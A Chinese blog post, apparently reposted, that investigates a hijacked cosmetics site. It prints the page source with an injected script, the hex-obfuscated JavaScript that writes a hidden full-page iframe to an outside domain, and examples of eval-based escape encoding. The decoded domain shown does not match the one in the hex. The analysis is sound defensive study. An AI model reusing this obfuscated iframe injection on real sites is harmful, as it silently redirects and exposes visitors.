一个网站直接跳转引起的一些思考

2024-06-03 07:50:17

近日看了一个站,网站的界面是这样的。

发现鼠标放上去,都是直接跳转,于是我查看了一下源代码

复制代码
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  2. <html xmlns="http://www.w3.org/1999/xhtml">
  3. <head>
  4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  5. <link rel="shortcut icon" href="favicon.ico"/>
  6. <title>柏莱雅_柏莱雅化妆品_柏莱雅价格</title>
  7. <meta name="keywords" content="柏莱雅,柏莱雅化妆品,柏莱雅价格" />
  8. <meta name="description" content="柏莱雅(珀莱雅)实现多品牌,多渠道的发展模式,核心理念是-美丽兼具涵养,官方授权正品网络旗舰店,48小时闪电发货★7天无理由无障碍退换★." />
  9. </head>
  10. <body>
  11. <table width="1000" border="0" align="center">
  12. <center>[color=#ff0000]<script src='img/one.js' language='javascript'></script>[/color]
  13. <tr>
  14. <td align="center"> <font size="2px"><a>© CopyRight 2013, 92bly.com. [url=http://tengzhouxinxi.com]柏莱雅[/url] (珀莱雅)美容大王大S代言. 更新时间:</a><a href="z/244.html" target="_blank">2013-03-10</a><script src="http://s24.cnzz.com/stat.php?id=4286542&web_id=4286542&show=pic" language="JavaScript"></script>
  15. </font>
  16. </td>
  17. </tr>
  18. <tr>
  19. <td> </td>
  20. </tr>
  21. </table>

很明显:
<script src='img/one.js' language='javascript'></script>
此句就是问题的所在
打开源码看一下:

复制代码
  1. var _0c631z=["\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x63\x72\x6F\x6C\x6C\x69\x6E\x67\x3D\x27\x6E\x6F\x27\x20\x66\x72\x61\x6D\x65\x62\x6F\x72\x64\x65\x72\x3D\x27\x30\x27\x20\x6D\x61\x72\x67\x69\x6E\x68\x65\x69\x67\x68\x74\x3D\x27\x30\x27\x20\x6D\x61\x72\x67\x69\x6E\x77\x69\x64\x74\x68\x3D\x27\x30\x27\x20\x77\x69\x64\x74\x68\x3D\x27\x31\x30\x30\x30\x27\x20\x68\x65\x69\x67\x68\x74\x3D\x27\x31\x33\x32\x30\x27\x20\x61\x6C\x6C\x6F\x77\x54\x72\x61\x6E\x73\x70\x61\x72\x65\x6E\x63\x79\x20\x73\x72\x63\x3D\x68\x74\x74\x70\x3A\x2F\x2F\x39\x32\x62\x6C\x79\x2E\x63\x6F\x6D\x2F\x70\x72\x6F\x79\x61\x2F\x77\x77\x77\x2E\x70\x72\x6F\x79\x61\x2E\x68\x74\x6D\x6C\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E","\x77\x72\x69\x74\x65\x6C\x6E"];document[_0c631z[1]](_0c631z[0]);

一堆加密 的js于是很好奇,是如何加密的呢?于是试了一下js eval还原工具,成功还原了,可能问题就在于用js eval加密 了。
但是js eval加密 是如何做的呢?
查了下资源有这么一个:
大家可能对转义字符"\"不太熟悉,但对于JavaScript提供了一些特殊字符如:\n (换行)、 \r (回车)、\' (单引号)等应该是有所了解的吧?其实"\"后面还可以跟八进制或十六进制的数字,如字符"a"则可以表示为:"\141"或"\x61"(注意是小写字 符"x"),至于双字节字符如汉字"黑"则仅能用十六进制表示为"\u9ED1"(注意是小写字符"u"),其中字符"u"表示是双字节字符,根据这个原 理例子代码则可以表示为:

八进制转义字符串如下:
<SCRIPT LANGUAGE="JavaScript">
eval("\141\154\145\162\164\50\42\u9ED1\u5BA2\u9632\u7EBF\42\51\73")
</SCRIPT>
十六进制转义字符串如下:
<SCRIPT LANGUAGE="JavaScript">
eval("\x61\x6C\x65\x72\x74\x28\x22\u9ED1\u5BA2\u9632\u7EBF\x22\x29\x3B")
</SCRIPT>
可见用到了js十六进制的转义
于是对上面的字符进行转码后:

复制代码
  1. <iframe scrolling='no' frameborder='0' marginheight='0' marginwidth='0' width='1000' height='1320' allowTransparency src=http://www.he6m.com/proya/www.proya.html></iframe>

转载于:https://blog.51cto.com/cet68/1151627

一个网站直接跳转引起的一些思考相关推荐

  1. 打开一个网站会跳到另一个怎么办,解决方法是什么?

    当我们在搜索引擎上搜索自已公司网站打开却看到其他网址,看到这种情况肯定让人头痛不已,那我们如何解决呢? 第一.不要责怪搜索引擎: 第二.查找自身网站问题,因为一般都是在网站被挂马的情况才会出现这样的情 ...

  2. 域名怎么跳转到另外一个网站?常见网页跳转方法和特点对比

    网站运营过程中经常有一个网页跳转另外一个网页,一个域名跳转另外一个域名的需求.本文给出以下几种不同的方法,并简要概括一下他们的特点和操作方法. 一.301/302重定向 在web server设置30 ...

  3. 打开百度跳转到另外一个网站、解决百度搜索引擎打开自己的网站却跳转到其他网站

    为什么百度等搜索引擎打开自己的网站却跳转到其他网站?",这种情况,不要责怪百度搜索引擎,而是网站自身的原因,网站被挂马了.清理掉木马文件即可解决,下面360 网站管家 分享解决为什么百度等搜 ...

  4. 怎样获取网站的域名_搭建一个网站,通常的6大步骤你知道吗?

    怎样建网站?要搭建一个网站,通常有6个步骤.下面我们简单的介绍如何一步一步搭建网站. 第一步:注册域名 挑选网站地址,注册专属域名.注册域名的价格取决于具体用什么样的后缀域名搭建网站.目前可以选择的域 ...

  5. 一个网站自动化测试程序的设计与实现

    CSDN博客不再经常更新,更多优质文章请来 粉丝联盟网 FansUnion.cn! (FansUnion) 代码 下载地址:http://download.csdn.net/detail/fansun ...

  6. 用户访问一个网站的全部过程

    访问一个网站,所发生的事情 起始页 http://127.0.0.1:8000/students/ 点击 会跳转到另一个页面 通过超链接发起的一个跳转 属于get请求 服务端 路由对应 感知用户在访问 ...

  7. [译]简单得不得了的教程-一步一步用 NODE.JS, EXPRESS, JADE, MONGODB 搭建一个网站

    原文: http://cwbuecheler.com/web/tutorials/2013/node-express-mongo/ 原文的源代码在此 太多的教程教你些一个Hello, World!了, ...

  8. 软件测试经典面试题(二)给你一个网站如何测试

    题目 给你一个网站如何测试? 回答 寻找相关文档,如需求说明书.网站设计文档等 测试工作开展前需要确认以下几个方面的问题: 制定测试计划.制定测试策略及测试边界.确定测试人力资源.确定测试环境配置.确 ...

  9. 软件测试:给你一个网站,你如何测试

    一.给你一个网站,你如何测试? 1.查找需求说明.网站设计等相关文档,分析测试需求. 2.制定测试计划,确定测试范围和测试策略,一般包括以下几个部分: 功能性测试:界面测试:性能测试:数据库测试:安全 ...

  10. 记录某大门户网站自动跳转不良网站,团队通宵排查病毒木马全过程

    某周五晚上,自己正舒服地躺在沙发上,手里的王者荣耀,米莱迪正在快乐地偷塔呢,突然一个电话打进来,一看是老板,心里一阵不祥的预感:看来这场游戏是不能善终了,兄弟们对不住了. 果不其然,事情是某机构运行了 ...

最新文章

  1. 洛谷 - P1829 - Crash的数字表格 - 莫比乌斯反演
  2. 一种生成不重复数的算法
  3. 【Raspberry Pi】webpy+mysql+GPIO 实现手机控制
  4. 优质学习内容(自用)
  5. Ubuntu版本进化史 4.10-7.04
  6. 大白话理解LSTM神经网络(附实例讲解)
  7. scrapy 搜索关键字_基于scrapy框架输入关键字爬取有关贴吧帖子
  8. python不是5的倍数_查找所有低于1000的数字之和,这是Python中3或5的倍数
  9. PC-DMIS 2019 CAD 模型坐标系的转换
  10. ECharts为X轴Y轴添加单位
  11. android 照片 文件夹在哪里,Android手机照片文件夹在哪里?删除的手机照片怎么恢复...
  12. python mysql library,python调用mysql报错解决方案
  13. 20190927CF训练
  14. Visual Studio Code (Ubuntu)安装与配置
  15. 【语音智能平台】京东Alpha VS 讯飞开放平台 (一)
  16. velocity 将字符串切割按每隔3位加逗号,map集合遍历,字符串拼接,
  17. 一台完整的微型计算机应由,计算机文化基础试题库
  18. 站九个小时的火车去当伴郎是怎么一种体验
  19. Java编程的逻辑 (77) - 异步任务执行服务
  20. ssh登录远程服务器,scp从本地提交数据给远程服务器

热门文章

  1. 2021年网站dns解析错误有什么办法解决呢?
  2. 计算机硬盘无法启动怎么办,解决办法:如果计算机无法从硬盘启动怎么办
  3. 电脑从硬盘启动计算机,如何设置电脑从硬盘启动优先
  4. Flash 实验 飞机爆炸
  5. 编程将数字“翻译”成英文。例35706“翻译”成three-five-seven-zero-six。
  6. Python:7-1 温度转换 (6分)
  7. 面试:Android应用的崩溃率
  8. 读书摘录---《李嘉诚成功语录 》
  9. Javascript学习大纲
  10. 一份来自前端开发工程师的规范简历